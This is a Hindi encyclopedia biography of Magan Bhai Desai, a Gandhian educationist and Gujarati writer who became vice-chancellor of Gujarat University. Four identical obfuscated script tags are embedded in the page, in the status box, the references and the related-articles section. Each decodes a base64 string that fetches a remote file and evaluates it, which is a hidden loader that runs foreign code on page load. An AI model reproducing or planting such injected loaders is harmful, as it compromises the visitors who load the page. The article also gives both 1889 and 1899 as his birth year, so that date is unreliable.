मगन भाई देसाई

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
मगन भाई देसाई
Blankimage.png
पूरा नाम मगन भाई देसाई
जन्म 11 अक्टूबर, 1889
जन्म भूमि खेड़ा ज़िला, गुजरात
मृत्यु 1 फ़रवरी, 1969
कर्म भूमि गुजरात
भाषा गुजराती
प्रसिद्धि गुजरात विश्वविद्यालय के उपकुलपति।
नागरिकता भारतीय
संबंधित लेख गांधी जी
अन्य जानकारी मगन भाई देसाई ने गुजराती भाषा में अनेक मौलिक पुस्तकों की रचना की तथा उपनिषदों पर भाष्य लिखे।
इन्हें भी देखें कवि सूची, साहित्यकार सूची

मगन भाई देसाई (अंग्रेज़ी: Magan Bhai Desai, जन्म- 11 अक्टूबर, 1889, खेड़ा ज़िला, गुजरात; मृत्यु- 1 फ़रवरी, 1969) प्रसिद्ध गांधीवादी विचारक और शिक्षाविद थे। ये गुजराती भाषा के लेखक भी थे। स्वतंत्रता के बाद अवसर आने पर मगन भाई देसाई कांग्रेस सरकार की नीतियों की आलोचना करने में भी पीछे नहीं रहते थे।[1]

जन्म एवं परिचय

मगन भाई देसाई का जन्म 11 अक्टूबर, 1899 ई. को गुजरात के खेड़ा ज़िले में हुआ था। वे मुबंई में शिक्षा ग्रहण कर रहे थे कि 1921 में गांधी जी का भाषण सुना और उससे प्रभावित होकर विद्यालय छोड़ दिया। बाद में गुजरात विद्यापीठ में गणित के अध्यापक और रजिस्ट्रार के रूप में काम करने लगे। मगन भाई देसाई स्पष्टवादी व्यक्ति थे।

गांधी जी के अनुयायी

1932 के आंदोलन में मगन भाई देसाई को गिरफ्तार कर लिया गया था। गांधी जी के कहने पर वे वर्धा के महिला महाविद्यालय के प्रभारी रहे। बाद में लगभग 24 वर्ष मगन भाई देसाई ने गुजरात विद्यापीठ की सेवा को समर्पित किए। 1957 में उन्हें गुजरात विश्वविद्यालय का उपकुलपति बनाया गया। मगन भाई देसाई का खादी, हिंदी, मद्यनिषेध, सर्वोदय, प्रौढ़ शिक्षा, स्वतंत्रता संग्राम के इतिहास और गांधी वांङ्मय आदि से संबंधित प्रादेशिक और राष्ट्रीय स्तर की 30 से अधिक समितियों से संबंध था। उन्होंने अपने विश्वास और निर्भीकता से कभी समझौता नहीं किया।

लेखक

मगन भाई देसाई अच्छे लेखक थे। उन्होंने गुजराती भाषा में अनेक मौलिक पुस्तकों की रचना की तथा उपनिषदों पर भाष्य लिखे।

निधन

1 फ़रवरी, 1969 को मगन भाई देसाई का देहांत हो गया।

पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

  1. भारतीय चरित कोश |लेखक: लीलाधर शर्मा 'पर्वतीय' |प्रकाशक: शिक्षा भारती, मदरसा रोड, कश्मीरी गेट, दिल्ली |संकलन: भारतकोश पुस्तकालय |पृष्ठ संख्या: 588 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

__NOTOC_